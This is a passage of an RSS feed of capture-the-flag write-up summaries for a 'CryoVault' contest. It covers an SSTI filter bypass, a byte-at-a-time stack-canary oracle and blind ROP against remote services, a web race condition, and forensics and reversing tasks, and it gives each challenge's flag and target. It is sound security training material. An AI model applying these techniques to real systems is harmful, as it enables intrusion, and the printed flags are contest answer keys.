class="cl"&gt;file chronoglyph/evidence.img&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Linux rev 1.0 ext2 filesystem data, UUID=7ac3e5f1-9d41-4a68-b2c7-5e0f12d3b4a9,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;volume name &amp;#34;evidence&amp;#34; (extents) (64bit) (large files) (huge files)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The volume is 100 MiB (&lt;code&gt;102400&lt;/code&gt; blocks of 1 KiB) inside a 160 MiB image. Because we could not mount it, &lt;code&gt;debugfs&lt;/code&gt; was enough to inspect it:&lt;/p&gt;</description></item><item><title>Cold Dock</title><link>https://hotwater-online.xyz/writeups/cryovault/cold-dock/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/cold-dock/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{9tfzw_qnsddr_87z6m_7dxngw}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Frostline Edge is the only public listener. It authenticates the client, assigns a&#10;role (&lt;code&gt;viewer&lt;/code&gt;), and forwards a sealed CCIP manifest to &lt;code&gt;vaultd&lt;/code&gt;, the cold core.&#10;The goal is to thaw the sealed &lt;code&gt;cold_seal&lt;/code&gt; record, which requires the &lt;code&gt;ops&lt;/code&gt; role.&lt;/p&gt;&#10;&lt;p&gt;The provided material contains:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;docs/CCIP.md&lt;/code&gt; — the vendor profile, revision &lt;strong&gt;1.2&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;docs/ccip-captures.txt&lt;/code&gt; — staging frames plus a vendor conformance frame&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;edge/&lt;/code&gt; — the Edge source&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The important clue is that Edge builds &lt;code&gt;CCIP 1.4&lt;/code&gt; frames while still using the&#10;revision 1.2 field-length convention.&lt;/p&gt;</description></item><item><title>Cold Registry — frost-n04 Vault Release Code</title><link>https://hotwater-online.xyz/writeups/cryovault/cold-registry-frost-n04-vault-release-code/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/cold-registry-frost-n04-vault-release-code/</guid><description>&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; COLD REGISTRY (&lt;code&gt;frost-n04&lt;/code&gt;, bay 4)&#10;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&#10;&lt;strong&gt;Artifact:&lt;/strong&gt; &lt;code&gt;frost-n04-cold.tar.gz&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{fl_pvj9_fvu4_qqgn}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Release code:&lt;/strong&gt; &lt;code&gt;FL-PVJ9-FVU4-QQGN&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-short-version"&gt;&#10; &lt;a href="#1-short-version" class="md-heading-anchor"&gt;&#10; 1. Short version&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The job was purged on 14 Jan, but the registry is copy-on-write. The four&#10;&lt;code&gt;job/8149285a1114b9b0/...&lt;/code&gt; keys were tombstoned, while the old cursor leaf pages&#10;remained in freed pages. Each cursor page stores one segment's receipt byte.&#10;For every segment I recovered the cursor page that was actually live immediately&#10;before the next segment's transaction; this uniquely reconstructs the 48 receipts&#10;used by the thaw release. Hashing those receipts with the vendor's formula gives the&#10;release code above.&lt;/p&gt;</description></item><item><title>Conduit Preview — SSTI Filter Bypass</title><link>https://hotwater-online.xyz/writeups/cryovault/conduit-preview-ssti-filter-bypass/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/conduit-preview-ssti-filter-bypass/</guid><description>&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; Label-preview service&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{ss71_h3x_f1lt3r_byp4ss_c0ndu1t_e4d1}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The target was a small Flask/Werkzeug label-preview service:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;conduit preview&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /preview {&amp;#34;label&amp;#34;:&amp;#34;...&amp;#34;} -&amp;gt; renders your label into the card.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The preview engine is template-based. Some inputs are filtered.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The word &amp;quot;template&amp;quot; suggested a server-side template injection (SSTI) challenge. The service accepted a JSON body with a &lt;code&gt;label&lt;/code&gt; field and rendered it inside:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="html"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;html&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;card&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="reconnaissance"&gt;&#10; &lt;a href="#reconnaissance" class="md-heading-anchor"&gt;&#10; Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A normal request returned the label unchanged:&lt;/p&gt;</description></item><item><title>CryoVault 2.0</title><link>https://hotwater-online.xyz/writeups/cryovault/cryovault-2/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/cryovault-2/</guid><description>&lt;p&gt;&lt;strong&gt;Final flag&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{c0ld_st0rage_n3v3r_f0rg3ts_th3_th4w_s3qu3nc3}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The archive is a ten-stage chain. Each stage's answer is the key to the next&#10;sealed record; the final ten answers together decrypt &lt;code&gt;vault.sealed&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;A recurring theme is deliberate decoy text. The audio metadata, the 1.0 archive,&#10;some notes, and several recovered files all contain plausible but false&#10;instructions or flags. The actual artifacts were always authoritative.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="0-archive-layout"&gt;&#10; &lt;a href="#0-archive-layout" class="md-heading-anchor"&gt;&#10; 0. Archive layout&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;After extracting &lt;code&gt;cryovault-2.0.zip&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>CryoVault Dial Verification</title><link>https://hotwater-online.xyz/writeups/cryovault/cryovault-dial-verification/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/cryovault-dial-verification/</guid><description>&lt;h2 id="method"&gt;&#10; &lt;a href="#method" class="md-heading-anchor"&gt;&#10; Method&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;I read &lt;code&gt;CHART_NOTES.txt&lt;/code&gt; first. Its marking convention identifies a verified reading by a &lt;strong&gt;ring around one hex character with two lines beneath it&lt;/strong&gt;. The number beside the ring gives the character's position in the sixteen-character set. A ring with only one underline records a remote reading and does not count.&lt;/p&gt;&#10;&lt;p&gt;I inspected the scanned charts for rings, then checked the marks on each candidate at full resolution. Twenty-four charts have ringed readings: sixteen have two underlines and eight have one. The eight single-underlined rings were excluded regardless of the character or position written beside them. In particular, some share positions with verified readings, so sorting every ringed chart by position would give an incorrect result.&lt;/p&gt;</description></item><item><title>CryoVault Thaw Interlock (Firmware 4.3)</title><link>https://hotwater-online.xyz/writeups/cryovault/cryovault-thaw-interlock-firmware-4-3/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/cryovault-thaw-interlock-firmware-4-3/</guid><description>&lt;h2 id="goal-and-constraints"&gt;&#10; &lt;a href="#goal-and-constraints" class="md-heading-anchor"&gt;&#10; Goal and constraints&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The vault thaws at a temperature of $2^{39}$. Four ordinary &lt;code&gt;order&lt;/code&gt; requests can add less than $4\cdot 2^{32}$, so they cannot reach that threshold. The maintenance &lt;code&gt;override&lt;/code&gt; accepts a larger delta, but it requires a Schnorr signature under the session's P-256 seal point. The scalar behind that point is never sent directly.&lt;/p&gt;&#10;&lt;p&gt;The 4.2 source reveals a useful leak in &lt;code&gt;probe&lt;/code&gt;. For a multiplier $a$, level $j$, and secret seal scalar $x$, it computes&lt;/p&gt;</description></item><item><title>Deadbit Thermostat</title><link>https://hotwater-online.xyz/writeups/cryovault/deadbit-thermostat/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/deadbit-thermostat/</guid><description>&lt;p&gt;The recovered record is:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{th3_r41l_h4s_m3m0ry_s0_d03s_th3_c0d3_35e90a7c}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The power cut left a later epoch-1 page in NAND, but its journal checksum is invalid. The last committed resource is epoch 0. Its archive needs two pieces of volatile evidence: a key seed reconstructed from cold SRAM and a 16-byte shutdown record decoded from the voltage trace.&lt;/p&gt;&#10;&lt;h2 id="1-recover-nand-pages"&gt;&#10; &lt;a href="#1-recover-nand-pages" class="md-heading-anchor"&gt;&#10; 1. Recover NAND pages&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;service_extract.txt&lt;/code&gt; gives the geometry: 1024 blocks, 64 rows per block, and 2048 data bytes plus 64 spare bytes per row. I kept physical row numbers, including erased rows. I rejected a block when spare byte 0 of either of its first two raw rows was not &lt;code&gt;ff&lt;/code&gt;; that marker bypasses the controller's transforms.&lt;/p&gt;</description></item><item><title>Drif</title><link>https://hotwater-online.xyz/writeups/cryovault/drif/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/drif/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn (blind / remote-only)&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 20061&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{n0_w1n_func_s0_y0u_r0p_0p3n_r3ad_wr1t3_blind_3f9c21}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Only the remote service was provided. It offered:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drift log mounted. seek offset.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;seek&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Input was consumed by a raw &lt;code&gt;read()&lt;/code&gt; and answered with the number of bytes&#10;read:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;seek&amp;gt; AAAA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;seeked 4.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;seek&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The prompt loop and the byte count suggested a stack overflow behind a stack&#10;canary. The challenge turned out to be part of the same binary template family&#10;as &lt;code&gt;floe&lt;/code&gt;, &lt;code&gt;blizzard&lt;/code&gt;, and &lt;code&gt;serac&lt;/code&gt;, but with a simpler read loop.&lt;/p&gt;</description></item><item><title>Drumlin — Frostline Cold Archive (Build 2.4)</title><link>https://hotwater-online.xyz/writeups/cryovault/drumlin-frostline-cold-archive-build-2-4/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/drumlin-frostline-cold-archive-build-2-4/</guid><description>&lt;p&gt;&lt;strong&gt;Status: solved.&lt;/strong&gt; &lt;code&gt;POST /release&lt;/code&gt; returned&#10;&lt;code&gt;isfcr{bay_seven_revision_7a9aa329b2}&lt;/code&gt; after a future-chunk reissue/PATCH race.&#10;This document records the confirmed behavior, predecessor exploit, and working attack.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://isfcrpesu-drumlin.chals.io/&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Challenge author:&lt;/strong&gt; AJ (per CTFd metadata for challenge id 36; 0 solves while tested)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Attachments:&lt;/strong&gt; &lt;code&gt;README.md&lt;/code&gt;, &lt;code&gt;client.py&lt;/code&gt; (both copied in this directory)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-challenge-summary"&gt;&#10; &lt;a href="#1-challenge-summary" class="md-heading-anchor"&gt;&#10; 1. Challenge summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;POST /session&lt;/code&gt; creates a private bucket:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="http"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;http&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;POST /session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Accept: application/json&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;201 {&amp;#34;base&amp;#34;:&amp;#34;https://.../s/&amp;lt;token&amp;gt;&amp;#34;,&amp;#34;token&amp;#34;:&amp;#34;&amp;lt;token&amp;gt;&amp;#34;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Every route is under &lt;code&gt;base&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Embedded Bytecode VM</title><link>https://hotwater-online.xyz/writeups/cryovault/embedded-bytecode-vm/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/embedded-bytecode-vm/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given a stripped 64-bit ELF:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file chall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chall: ELF 64-bit LSB executable, x86-64, ... stripped&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The program accepts one line of input and prints either &lt;code&gt;nope&lt;/code&gt; or&#10;&lt;code&gt;correct: the flag is your input&lt;/code&gt;. The input must be the flag in the format&#10;&lt;code&gt;isfcr{...}&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h2 id="initial-recon"&gt;&#10; &lt;a href="#initial-recon" class="md-heading-anchor"&gt;&#10; Initial recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The imports are small:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fgets, strlen, puts, memcmp, __libc_start_main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;.bss&lt;/code&gt; range &lt;code&gt;0x403040&lt;/code&gt;–&lt;code&gt;0x403160&lt;/code&gt; is suspiciously large and is filled at&#10;runtime. The important part of &lt;code&gt;.text&lt;/code&gt; is the function at &lt;code&gt;0x4003c0&lt;/code&gt;, which is&#10;passed directly to &lt;code&gt;__libc_start_main&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Floe</title><link>https://hotwater-online.xyz/writeups/cryovault/floe/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/floe/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; pwn, black box&lt;br&gt;&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 27813&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{l3ngth_pr3f1x_fr4m1ng_bl1nd_br0p_fl0e_9d2e74}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="protocol-and-overflow"&gt;&#10; &lt;a href="#protocol-and-overflow" class="md-heading-anchor"&gt;&#10; Protocol and overflow&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The service starts with &lt;code&gt;floe stream open.&lt;/code&gt; and a &lt;code&gt;floe&amp;gt; &lt;/code&gt; prompt. It accepts a&#10;two-byte &lt;strong&gt;big-endian&lt;/strong&gt; length followed by that many payload bytes:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ u16 length ][ payload ]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A safe frame gets &lt;code&gt;logged N.\nfloe&amp;gt; &lt;/code&gt;. The frame handler copies the payload&#10;into an 88-byte stack buffer without enforcing that size. By sending frames&#10;of lengths 89, 90, and so on, the response becomes a byte-at-a-time oracle for&#10;the stack canary: a correct prefix survives and prints the prompt; an incorrect&#10;byte kills the connection before the response.&lt;/p&gt;</description></item><item><title>Frost Paw</title><link>https://hotwater-online.xyz/writeups/cryovault/frost-paw/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/frost-paw/</guid><description>&lt;h2 id="goal"&gt;&#10; &lt;a href="#goal" class="md-heading-anchor"&gt;&#10; Goal&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The unit starts each submitted job at a 64-bit register value &lt;code&gt;x&lt;/code&gt;. After the job, it advances its ratchet by running a secret, six-line job on &lt;strong&gt;the same starting value&lt;/strong&gt;. If that secret job is &lt;code&gt;F&lt;/code&gt;, the next submitted job starts at &lt;code&gt;F(x)&lt;/code&gt;. A &lt;code&gt;manifest&lt;/code&gt; line releases the flag only when its register equals &lt;code&gt;F(x)&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The unit address is private and is deliberately omitted here. Units expire, and their line parameters and secret job change at each 120-second cut.&lt;/p&gt;</description></item><item><title>Frostline Hall C — Thermal Camera Patrol</title><link>https://hotwater-online.xyz/writeups/cryovault/frostline-hall-c-thermal-camera-patrol/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/frostline-hall-c-thermal-camera-patrol/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given two lossless recordings of a thermal camera patrol:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;hallc_cam07_patrol.mkv&lt;/code&gt; — 384×216 grayscale, 30 fps, 40.07 s&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;hallc_cam07_patrol_halfspeed.mkv&lt;/code&gt; — the same frame sequence played at 15 fps&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The footage is almost entirely dense sensor speckle. The task is to recover the&#10;three rack-tag characters shown at each of the four presets, then concatenate&#10;them in patrol order and left-to-right order:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{...}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The half-speed copy is only a playback aid; it contains exactly the same frames&#10;as the normal-speed copy.&lt;/p&gt;</description></item><item><title>Glacier</title><link>https://hotwater-online.xyz/writeups/cryovault/glacier/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/glacier/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;br&gt;&#10;&lt;strong&gt;Connection:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 13368&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{bl1nd_r0p_thaws_th3_gl4c13r_c0r3_e71a93}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; 